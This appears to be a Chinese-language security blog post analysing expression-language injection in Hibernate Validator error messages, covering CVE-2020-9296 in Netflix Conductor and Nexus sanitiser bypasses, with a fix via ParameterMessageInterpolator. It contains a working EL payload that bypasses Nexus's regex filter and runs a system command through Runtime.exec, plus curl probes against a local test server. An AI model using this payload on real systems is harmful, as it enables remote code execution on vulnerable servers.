hibernate_validtor_EL_Execute
最近看CVE发现多个因为引入hibernate.validtor组件且在抛错时带入外部可控参数执行SpEL表达式导致RCE漏洞。hibernate.validator实现Jakarta表达式语言用户动态执行、表示违反约定的信息,所以外部可控参数带入表达式执行存在RCE漏洞。
hibernate.validtor
1 | String message = String.format("Invalid params: %s", s); |
包含外部可控参数的message会在org/hibernate/validator/messageinterpolation/AbstractMessageInterpolator.java
判断是否要解析为EL 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15if ( resolvedMessage.indexOf( '{' ) > -1 ) {
// resolve parameter expressions (step 2)
resolvedMessage = interpolateExpression(
new TokenIterator( getParameterTokens( resolvedMessage, tokenizedParameterMessages, InterpolationTermType.PARAMETER ) ),
context,
locale
);
// resolve EL expressions (step 3)
resolvedMessage = interpolateExpression(
new TokenIterator( getParameterTokens( resolvedMessage, tokenizedELMessages, InterpolationTermType.EL ) ),
context,
locale
);
}1
2
3
4
5
6
7
8org/hibernate/validator/internal/engine/messageinterpolation/ElTermResolver.java
try {
ValueExpression valueExpression = bindContextValues( expression, context, elContext );
resolvedExpression = (String) valueExpression.getValue( elContext );
}
catch (PropertyNotFoundException pnfe) {
LOG.unknownPropertyInExpressionLanguage( expression, pnfe );
}
Netflix-conductor
CVE-2020-9296 1
2
3
4```java
String message = String.format("TaskDef: %s responseTimeoutSeconds: %d must be less than timeoutSeconds: %d",
taskDef.getName(), taskDef.getResponseTimeoutSeconds(), taskDef.getTimeoutSeconds());
context.buildConstraintViolationWithTemplate(message).addConstraintViolation();
sonatype-nexus-public
从官方通告中可以看到nexus存在多个因为hibernate validtor修复不完善bypass导致的CVE 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17release-3.18.1-01 components/nexus-security/src/main/java/org/sonatype/nexus/security/role/RolesExistValidator.java
for (Object item : value) {
try {
authorizationManager.getRole(String.valueOf(item));
}
catch (NoSuchRoleException e) {
missing.add(getEscapeHelper().stripJavaEl(item.toString()));
}
}
if (missing.isEmpty()) {
return true;
}
context.disableDefaultConstraintViolation();
context.buildConstraintViolationWithTemplate("Missing roles: " + missing)
.addConstraintViolation();
return false;
release-3.19.0-01 缺陷补丁
1 | components/nexus-common/src/main/java/org/sonatype/nexus/common/template/EscapeHelper.java |
release-3.19.0-01 绕过及修复
该正则过滤存在bypass 在45ce815b3244e6f91a1929204d1cb6d058e45781 commit中修复正则表达式过滤 1
2
3
4
5
6public String stripJavaEl(final String value) {
if (value != null) {
return value.replaceAll("\\$+\\{", "{").replaceAll("\\$+\\\\A\\{", "{");
}
return null;
}1
2
3
4
5
6
public void testStripJavaEl_bugged_interpolator() {
String test = "$\\A{badstuffinhere}";
String result = underTest.stripJavaEl(test);
assertThat(result, is("{badstuffinhere}"));
}1
2
3
4
5
6
7
8
9
10
11
12org/hibernate/validator/messageinterpolation/AbstractMessageInterpolator.java
private List<Token> getParameterTokens(String resolvedMessage, ConcurrentReferenceHashMap<String, List<Token>> cache, InterpolationTermType termType) {
if ( cachingEnabled ) {
return cache.computeIfAbsent(
resolvedMessage,
rm -> new TokenCollector( resolvedMessage, termType ).getTokenList()
);
}
else {
return new TokenCollector( resolvedMessage, termType ).getTokenList();
}
}1
$\\A{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app')\")}
1
2
3
4
5
6ValidatorFactory factory = Validation.byDefaultProvider().configure()
.constraintValidatorFactory(constraintValidatorFactory)
.parameterNameProvider(new AopAwareParanamerParameterNameProvider())
.traversableResolver(new AlwaysTraversableResolver())
+ .messageInterpolator(new ParameterMessageInterpolator())
.buildValidatorFactory();1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class ValidatorConfiguration {
public Validator validator(){
ValidatorFactory factory = Validation.byDefaultProvider().configure()
.constraintValidatorFactory(constraintValidatorFactory)
.parameterNameProvider(new AopAwareParanamerParameterNameProvider())
.traversableResolver(new AlwaysTraversableResolver())
.messageInterpolator(new ParameterMessageInterpolator())
.buildValidatorFactory();
return validator = validatorFactory.getValidator();
}
}1
2
3
4 kevinsa@ > curl -s -H "Content-Type: application/json" http://127.0.0.1:8080/user -d '{"name":"name", "param": "${1+1}"}'
{"code":400,"message":"Invalid params: 2","data":null}%
kevinsa@ > curl -s -H "Content-Type: application/json" http://127.0.0.1:8080/user -d '{"name":"name", "param": "${1+1}"}'
{"code":400,"message":"Invalid params: ${1+1}","data":null}